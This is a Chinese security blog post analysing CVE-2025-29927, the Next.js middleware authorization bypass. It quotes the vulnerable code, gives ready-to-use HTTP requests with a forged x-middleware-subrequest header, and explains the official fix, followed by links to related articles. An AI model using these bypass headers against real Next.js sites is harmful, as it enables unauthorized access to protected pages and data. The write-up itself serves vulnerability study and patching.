本文代码版本为next.js-15.2.2

本篇文章首发在先知社区:https://xz.aliyun.com/news/17403

一、漏洞概述

CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。

二、漏洞分析

1. 漏洞背景

Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:

  • 身份验证:检查用户会话Cookie,拦截未授权请求。
  • 路径重写:动态修改请求路径(如多语言路由/en/home/home)。
  • 安全头设置:添加CSP、CORS等安全响应头。

中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。

2. 漏洞核心机制

用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过x-middleware-subrequest头标识内部递归请求。

每次递归请求都会向该头添加一次middleware,如果递归请求达到五次,就会返回一个带有 'x-middleware-next': '1' 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。

packages\next\src\server\web\sandbox\sandbox.ts

3. 关键代码

简化代码:

  • params.name:中间件路径标识(如 src/middlewaremiddleware)。
  • subrequestsx-middleware-subrequest 头按 : 分割后的数组。
  • depth:统计 subrequests 中与 params.name 匹配的次数。
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
) if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new runtime.context.Response(null, {
headers: {'x-middleware-next': '1',},}),}
}

漏洞成因

  • 路径暴露:中间件的逻辑路径(middlewareInfo.name)可被攻击者推测。
  • 校验宽松:未对外部请求x-middleware-subrequest头进行过滤,允许伪造内部请求标识。

4. Payload 构造

确定中间件路径标识

params.name 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由.next/server/middleware-build-manifest.json文件决定。

构造绕过请求头

middleware.ts在根目录 → middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

middleware.tssrc 目录 → src/middleware

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

三、漏洞复现

环境地址:lem0n817/CVE-2025-29927 (github.com)

middleware

src/middleware

四、漏洞修复

Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)

这里是对多处进行了修改,挑选最关键的一处进行分析:

通过动态令牌验证(x-middleware-subrequest-id)和加密符号存储(Symbol.for)严格区分内外请求,非法伪造的x-middleware-subrequest头会被自动删除,确保中间件安全逻辑不被绕过。

// If this request didn't origin from this session we filter
// out the "x-middleware-subrequest" header so we don't skip
// middleware incorrectly
if (
header === 'x-middleware-subrequest' &&
headers['x-middleware-subrequest-id'] !==
(globalThis as any)[Symbol.for('@next/middleware-subrequest-id')]
) {
delete headers['x-middleware-subrequest']
}

五、参考

代码审计-知识星球 (zsxq.com)

Next.js 和损坏的中间件:授权工件 - zhero_web_security

CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog


本文作者CVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

先知社区:https://xz.aliyun.com/users/136909

微信公众号:Lemon安全

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)的更多相关文章

  1. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  2. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

  3. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  4. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  5. CVE-2017-12635(Couchdb垂直权限绕过漏洞)

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  6. CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析

    0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...

  7. broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...

  8. PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现

    猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...

  9. SaltStack 水平权限绕过漏洞(CVE-2020-11651)

    影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...

  10. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...

随机推荐

  1. Appium_iOS_Safari测试脚本(2)

    经过多次调试,在Safari上的测试脚本终于可以运行了,不过部分元素还是无法识别,还需要继续调试: #!/usr/bin/env/python # -*-coding:utf-8-*- import ...

  2. UE4命令行编译工程入门

    注:本文同步发布于微信公众号:stringwu的互联网杂谈UE4命令行编译工程入门 0 背景 笔者是个UE4的小白,本文主要记录了一个小白是如何从零UE4的基础,一步步在命令行打出iOS的ipa包的尝 ...

  3. SpringCloud (五) - 云服务器Centos7.6,安装JDK,Maven,Mysql,Redis

    1.购买云服务器 购买地址:https://cloud.tencent.com/act/pro/2022double11_warmup 后面的环境都是基于此环境Centos7.6: 2.安装 Secu ...

  4. Spring Cloud Alibaba实战,从微服务架构到基本服务配置

    https://blog.csdn.net/itcast_cn/article/details/124558887 Spring Cloud Alibaba 实战 1目标理解什么是微服务架构理解什么是 ...

  5. MPC收藏

    收集有关MPC的优秀文章,方便查阅. 同态加密 原理 介绍 程序员的干货!核心理论之同态加密 https://mp.weixin.qq.com/s/1uH0UjnS_Mo8ShXJ-16UXw BGV ...

  6. 一文搞懂 结构伪类 :nth-child && :nth-of-typ

    结构伪类 从使用结构伪类的选择器开始 往上一层父辈开始筛选 从使用结构伪类的选择器开始 往上一层父辈开始筛选 从使用结构伪类的选择器开始 往上一层父辈开始筛选 不是从左往右选择 不是先父辈后筛选子类 ...

  7. C++学习:CRTP 模式是什么

    CRTP(Curiously Recurring Template Pattern,奇异递归模板模式)是 C++ 中的一种设计模式. 基本概念 CRTP 是指一个类(通常是基类)以其派生类作为模板参数 ...

  8. 3 x 2 + 1 !安 全 能 力 权 威 认 可 !

    近日,由XOps大会组委会主办的"2024第三届XOps产业创新发展论坛"在北京召开.大会主论坛公布了2024上半年XOps最新评估结果,天翼云顺利通过ITU DevOps国际标准 ...

  9. Ansible之二playbook

    反星系 连接https://galaxy.ansible.com下载相应的roles 列出所有安装的   galaxy ansible-galaxy  list 安装galaxy     ansibl ...

  10. EasyExcel 通过模板填充数据

    EasyExcel 通过模板填充数据两种方式:1.直接通过模板填充.2.通过IO流填充. 模板示例 注意:单个字段填充只写字段名即可,数据集填充需要在字段前加 . {title} 姓名 昵称 手机号 ...